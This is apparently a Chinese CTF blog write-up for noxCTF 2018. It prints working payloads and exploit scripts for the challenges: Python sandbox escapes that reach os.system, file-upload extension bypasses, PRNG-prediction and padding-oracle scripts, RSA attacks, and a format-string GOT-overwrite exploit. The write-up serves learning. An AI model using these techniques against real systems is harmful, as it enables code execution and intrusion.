NEKO

noxCTF-2018 writeup

2018/09/07

https://ctftime.org/event/671/tasks/
我就是单纯地想自己写一遍(:з」∠)
https://ctftime.org/event/671/tasks/

MISC

Python for fun

python3沙盒绕过,没有waf。
本地实验:
(题目要求填写fun()的参数)

1
2
3
4
5
def fun(a,b=(print(__import__('os').system('ls')))):
c=a+b
return c

fun(1,2)

result:

1
2
3
4
5
BlindDate.jpeg
flag.jpeg
test.py
test1.py
0

Python for fun 2

与上题相比多了waf,无法使用import等方法,网上沙盒绕过大多是python2,不适用于python3,此处给出几种payload,来自4uuu Nya和其他选手

1
2
3
4
5
6
a,b=(print(().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')))
a = print(().__ class __.__ bases__[0].__ subclasses__()[93].__init__.__ globals__["sys"].modules ["os"].system("ls")),b = 1

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("cat FLAG")

a,b,c=print([].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('cat FLAG'))

PS:python3各个小版本之间payload也有不同。

Blind Date

没想到用strings
https://github.com/imthoe/noxCTF/tree/master/BlindDate

Read Between The Lines

前半段是jsfuck代码,后半段是whitespace代码,在mac上还真没看出来,windows下用notepad比较好分辨,jsfuck解密出来无重要信息,whitespace解密后得到flag。
jsfuck解密:http://codertab.com/JsUnFuck
whitespace ide: http://vii5ard.github.io/whitespace/或者https://tio.run/#whitespace

Slippery Situation

收获工具:evilarc
https://www.pwndiary.com/write-ups/noxctf-2018-slippery-situation-write-up-misc750/

Marcode

https://github.com/imthoe/noxCTF/tree/master/Marcode
https://github.com/DoMINAToR98/CTFs/tree/master/NOX_CTF/Misc/Marcode
python识别二维码:

1
2
3
4
5
6
from pyzbar.pyzbar import decode
from PIL import Image
import sys

for i in range(1,3490):
print decode(Image.open('frames/frame-'+str(i).zfill(4)+'.png'))[0].data

去除文本重复内容:

1
awk '!x[$0]++' links.txt > unique_links.txt

最后得到的文本小写,’_’转空格后用word或者用mac下的pages文稿打开会有自动提示哪些单词有问题,核对下就有flag了。

WEB

Reference

referer伪造

MyFileUploader

这题正确wp:https://www.pwndiary.com/write-ups/noxctf-2018-myfileuploader-write-up-web200/
但认识的人做的都是非预期:

1
2
neko_jpg.php.php  只删除一个php
neko_jpg.phtml 该网站解析phtml

hiddenDOM

一直以为和网鼎杯的一个题一个套路,想用ajax读源码,然而测试后发现并不执行js。
看到源码的js也没想着去解,不够细心啊。
wp: https://rawsec.ml/en/noxCTF-2018-write-ups/#670-hiddendom-web

Dictionary of obscure sorrows

LDAP Injection:
http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf
この方のwpがもと良いと思います:
https://graneed.hatenablog.com/entry/2018/09/09/020821
this also good wp:https://rawsec.ml/en/noxCTF-2018-write-ups/#902-dictionary-of-obscure-sorrows-web

PSRF

暂无wp

CRYPTO

Chop Suey

已知p,q,dp,dq,c求m
https://github.com/zionspike/ctf-writeup/blob/master/Crypto/%5BpicoCTF%202017%5D%20-%20Weird%20RSA%20-%2090/kapi-note.md

Decryptor

给了n,c,e和一个可以解密c的nc链接,但不能直接解密给的c,选择将c分解为a,b,分别解密a,b,解密出m1,m2,则m=m1*m2 mod n。

Plot-Twist

想到预测伪随机数了,但没实现方法,无能狂怒。
wp:https://github.com/pberba/ctf-solutions/tree/master/20180907_nox/plot_twist
MTRecover:
https://github.com/eboda/mersenne-twister-recover

MTRecover.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import random


class MT19937Recover:
"""Reverses the Mersenne Twister based on 624 observed outputs.

The internal state of a Mersenne Twister can be recovered by observing
624 generated outputs of it. However, if those are not directly
observed following a twist, another output is required to restore the
internal index.

See also https://en.wikipedia.org/wiki/Mersenne_Twister#Pseudocode .

"""
def unshiftRight(self, x, shift):
res = x
for i in range(32):
res = x ^ res >> shift
return res

def unshiftLeft(self, x, shift, mask):
res = x
for i in range(32):
res = x ^ (res << shift & mask)
return res

def untemper(self, v):
""" Reverses the tempering which is applied to outputs of MT19937 """

v = self.unshiftRight(v, 18)
v = self.unshiftLeft(v, 15, 0xefc60000)
v = self.unshiftLeft(v, 7, 0x9d2c5680)
v = self.unshiftRight(v, 11)
return v

def go(self, outputs, forward=True):
"""Reverses the Mersenne Twister based on 624 observed values.

Args:
outputs (List[int]): list of >= 624 observed outputs from the PRNG.
However, >= 625 outputs are required to correctly recover
the internal index.
forward (bool): Forward internal state until all observed outputs
are generated.

Returns:
Returns a random.Random() object.
"""

result_state = None

assert len(outputs) >= 624 # need at least 624 values

ivals = []
for i in range(624):
ivals.append(self.untemper(outputs[i]))

if len(outputs) >= 625:
# We have additional outputs and can correctly
# recover the internal index by bruteforce
challenge = outputs[624]
for i in range(1, 626):
state = (3, tuple(ivals+[i]), None)
r = random.Random()
r.setstate(state)

if challenge == r.getrandbits(32):
result_state = state
break
else:
# With only 624 outputs we assume they were the first observed 624
# outputs after a twist --> we set the internal index to 624.
result_state = (3, tuple(ivals+[624]), None)

rand = random.Random()
rand.setstate(result_state)

if forward:
for i in range(624, len(outputs)):
assert rand.getrandbits(32) == outputs[i]

return rand


def test_PythonMT19937Recover():
"""Just a testcase to ensure correctness"""
mtb = MT19937Recover()

r1 = random.Random(0x31337)

# just some discarded random numbers to move internal state forward
[r1.getrandbits(32) for _ in range(1234)]

# the actual leak of 1000 values
n = [r1.getrandbits(32) for _ in range(1000)]

r2 = mtb.go(n)

assert r1.getrandbits(32) == r2.getrandbits(32)


test_PythonMT19937Recover()

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from __future__ import print_function
from pwn import *
from MTRecover import MT19937Recover

r = remote('chal.noxale.com', 5115)
r.recvline()

to_send = '0'*16
bits = []
for i in range(625):
r.send(to_send)

for i in range(625):
key = r.recvuntil('key:\n').split()[4]
bits.append(int(key))

mtb = MT19937Recover()
rand = mtb.go(bits)
to_send = str(rand.getrandbits(32)).rjust(16, '0')

r.send(to_send)
print(r.recv())

不要用socket模块,非常慢,pwntools使用体验极佳。

java_corporation

padding orcle
可以用https://github.com/mwielgoszewski/python-paddingoracle
需要重写下PadBuster()方法。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from paddingoracle import BadPaddingException, PaddingOracle
from pwn import *

r = remote('chal.noxale.com', 3141)

with open('Encrypted.txt', 'rb') as f:
data = f.read()

iv = data[:16]
cipher = data[16:]

class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)

def oracle(self, data, **kwargs):
r.send(bytes(48))
r.send(iv+data)
if r.recv(1) == '0':
raise BadPaddingException

padbuster = PadBuster()
value = padbuster.decrypt(cipher, block_size=16, iv=iv)
print('Decrypted: %r' % (value))

WTF

想到是leet了,也想到是wiener attack了,找的网站解leet解的不对…
fuck!
贴上别人的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import gmpy2
from Crypto.Util.number import *
n = 'lObAbAbSBlZOOEBllOEbblTlOAbOlTSBATZBbOSAEZTZEAlSOggTggbTlEgBOgSllEEOEZZOSSAOlBlAgBBBBbbOOSSTOTEOllbZgElgbZSZbbSTTOEBZZSBBEEBTgESEgAAAlAOAEbTZBZZlOZSOgBAOBgOAZEZbOBZbETEOSBZSSElSSZlbBSgbTBOTBSBBSOZOAEBEBZEZASbOgZBblbblTSbBTObAElTSTOlSTlATESEEbSTBOlBlZOlAOETAZAgTBTSAEbETZOlElBEESObbTOOlgAZbbOTBOBEgAOBAbZBObBTg'

e = 'lBlbSbTASTTSZTEASTTEBOOAEbEbOOOSBAgABTbZgSBAZAbBlBBEAZlBlEbSSSETAlSOlAgAOTbETAOTSZAZBSbOlOOZlZTETAOSSSlTZOElOOABSZBbZTSAZSlASTZlBBEbEbOEbSTAZAZgAgTlOTSEBEAlObEbbgZBlgOEBTBbbSZAZBBSSZBOTlTEAgBBSZETAbBgEBTATgOZBTllOOSSTlSSTOSSZSZAgSZATgbSOEOTgTTOAABSZEZBEAZBOOTTBSgSZTZbOTgZTTElSOATOAlbBZTBlOTgOSlETgTBOglgETbT'

c = 'SOSBOEbgOZTZBEgZAOSTTSObbbbTOObETTbBAlOSBbABggTOBSObZBbbggggZZlbBblgEABlATBESZgASBbOZbASbAAOZSSgbAOZlEgTAlgblBTbBSTAEBgEOEbgSZgSlgBlBSZOObSlgAOSbbOOgEbllAAZgBATgEAZbBEBOAAbZTggbOEZSSBOOBZZbAAlTBgBOglTSSESOTbbSlTAZATEOZbgbgOBZBBBBTBTOSBgEZlOBTBSbgbTlZBbbOBbTSbBASBTlglSEAEgTOSOblAbEgBAbOlbOETAEZblSlEllgTTbbgb'

lookup = ['O', 'l', 'Z', 'E', 'A', 'S', 'b', 'T', 'B', 'g']

def decode(x):
ans = ''
for c in x:
ans += str(lookup.index(c))
return int(ans)

n = decode(n)
e = decode(e)
c = decode(c)

def cf_expansion(n, d):
e = []

q = n // d
r = n % d
e.append(q)

while r != 0:
n, d = d, r
q = n // d
r = n % d
e.append(q)

return e

def convergents(e):
n = [] # Nominators
d = [] # Denominators

for i in range(len(e)):
if i == 0:
ni = e[i]
di = 1
elif i == 1:
ni = e[i]*e[i-1] + 1
di = e[i]
else: # i > 1
ni = e[i]*n[i-1] + n[i-2]
di = e[i]*d[i-1] + d[i-2]

n.append(ni)
d.append(di)
yield (ni, di)

def solve(b, c):
k = b * b - 4 * 1 * c
if k < 0: return []
sk, complete = gmpy2.iroot(k, 2)
if not complete: return []
return [int((-b + sk) // 2), int((-b - sk) // 2)]

def wiener(e, n):
kd = convergents(cf_expansion(e, n))
for i, (k, d) in enumerate(kd):
if k == 0: continue
phi = (e * d - 1) // k
roots = solve(phi - n - 1, n)
if len(roots) == 2:
p, q = roots
if p * q == n:
return (p, q)

p, q = wiener(e, n)

r = (p - 1) * (q - 1)
d = inverse(e, r)
m = pow(c, d, n)
print(long_to_bytes(m))

Trinity

五进制真没注意到。
crypto_commons: https://github.com/p4-team/crypto-commons

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from crypto_commons.rsa.rsa_commons import hastad_broadcast
from Crypto.Util.number import *

n1 = "331310324212000030020214312244232222400142410423413104441140203003243002104333214202031202212403400220031202142322434104143104244241214204444443323000244130122022422310201104411044030113302323014101331214303223312402430402404413033243132101010422240133122211400434023222214231402403403200012221023341333340042343122302113410210110221233241303024431330001303404020104442443120130000334110042432010203401440404010003442001223042211442001413004"
c1 = "310020004234033304244200421414413320341301002123030311202340222410301423440312412440240244110200112141140201224032402232131204213012303204422003300004011434102141321223311243242010014140422411342304322201241112402132203101131221223004022003120002110230023341143201404311340311134230140231412201333333142402423134333211302102413111111424430032440123340034044314223400401224111323000242234420441240411021023100222003123214343030122032301042243"

n2 = "302240000040421410144422133334143140011011044322223144412002220243001141141114123223331331304421113021231204322233120121444434210041232214144413244434424302311222143224402302432102242132244032010020113224011121043232143221203424243134044314022212024343100042342002432331144300214212414033414120004344211330224020301223033334324244031204240122301242232011303211220044222411134403012132420311110302442344021122101224411230002203344140143044114"
c2 = "112200203404013430330214124004404423210041321043000303233141423344144222343401042200334033203124030011440014210112103234440312134032123400444344144233020130110134042102220302002413321102022414130443041144240310121020100310104334204234412411424420321211112232031121330310333414423433343322024400121200333330432223421433344122023012440013041401423202210124024431040013414313121123433424113113414422043330422002314144111134142044333404112240344"

n3 = "332200324410041111434222123043121331442103233332422341041340412034230003314420311333101344231212130200312041044324431141033004333110021013020140020011222012300020041342040004002220210223122111314112124333211132230332124022423141214031303144444134403024420111423244424030030003340213032121303213343020401304243330001314023030121034113334404440421242240113103203013341231330004332040302440011324004130324034323430143102401440130242321424020323"
c3 = "10013444120141130322433204124002242224332334011124210012440241402342100410331131441303242011002101323040403311120421304422222200324402244243322422444414043342130111111330022213203030324422101133032212042042243101434342203204121042113212104212423330331134311311114143200011240002111312122234340003403312040401043021433112031334324322123304112340014030132021432101130211241134422413442312013042141212003102211300321404043012124332013240431242"

n1 = int(n1, 5)
n2 = int(n2, 5)
n3 = int(n3, 5)
c1 = int(c1, 5)
c2 = int(c2, 5)
c3 = int(c3, 5)

print(long_to_bytes(hastad_broadcast([(c1, n1), (c2, n2), (c3, n3)])))

PWN

believeMe | SOLVED | DF-11A

格式化字符串漏洞,无ASLR,栈上地址固定。

The Name Calculator | SOLVED | DF-11A

又是格式化字符串漏洞,最后覆盖了exit函数的got表。
中间有个xor编码的过程,需要写个对应的解码(与编码一样流程)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python2
# coding: utf-8
# Usage: ./exploit.py MODE=remote LOG_LEVEL=warn NOPTRACE NOASLR

from pwn import *
import itertools

IP = "chal.noxale.com"
PORT = 5678

context.log_level = 'critical'
context.terminal = ['tmux', 'splitw', '-h']
# context(os='linux',arch='amd64')
mode = args['MODE'].lower()
binary = "./TheNameCalculator"


if mode == "remote":
context.noptrace = True
io = remote(IP, PORT)

else:
io = process(binary)

rand = 111458341

print io.recvline()

payload1 = "A"*0x1c + p32(rand)

gdb.attach(io, '''
b *0x08048625
b *0x080486D5
b *0x080487C2
c
'''
)

io.send(payload1)
io.recvline()

the_exit = 0x0804A024
supersecret = 0x08048596

def encode(payload):
xor_chr = 0x5F7B4153
if len(payload) % 4 != 0:
print "Payload is not the multiple 4!"
exit(0)
result = ""
for i in range(0, 24, 1):
res = ""
orig = u32(payload[i:i+4])
res = p32(orig ^ xor_chr)
payload = payload[0:i] + res + payload[i+4:]

return payload

payload2_orig = p32(0x0804A024) + "%34194c" + "%12$hn"
payload2_orig = payload2_orig.ljust(28, "\x00")

payload2 = encode(payload2_orig)
io.send(payload2)

io.interactive()

Forensics

Smooth snake

没想到leet=1337是智商下线…后面绕沙盒有点东西。
收获2个绕python2沙盒的小技巧:
change . to getattr, and _ to dir(0)[0][0]
https://github.com/OAlienO/CTF/tree/master/2018/noxCTF/Smooth-snake

dont-look-inside-the-box

修复sqlite3文件头+脑洞+python操作sqlite3数据库
https://github.com/Ar1k14001/dont-look-inside-the-box-writeup

原文作者: n3k0

发表日期: September 7th 2018, 10:10:54

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. MISC
    1. 1.1. Python for fun
    2. 1.2. Python for fun 2
    3. 1.3. Blind Date
    4. 1.4. Read Between The Lines
    5. 1.5. Slippery Situation
    6. 1.6. Marcode
  2. 2. WEB
    1. 2.1. Reference
    2. 2.2. MyFileUploader
    3. 2.3. hiddenDOM
    4. 2.4. Dictionary of obscure sorrows
    5. 2.5. PSRF
  3. 3. CRYPTO
    1. 3.1. Chop Suey
    2. 3.2. Decryptor
    3. 3.3. Plot-Twist
    4. 3.4. java_corporation
    5. 3.5. WTF
    6. 3.6. Trinity
  4. 4. PWN
    1. 4.1. believeMe | SOLVED | DF-11A
    2. 4.2. The Name Calculator | SOLVED | DF-11A
  5. 5. Forensics
    1. 5.1. Smooth snake
    2. 5.2. dont-look-inside-the-box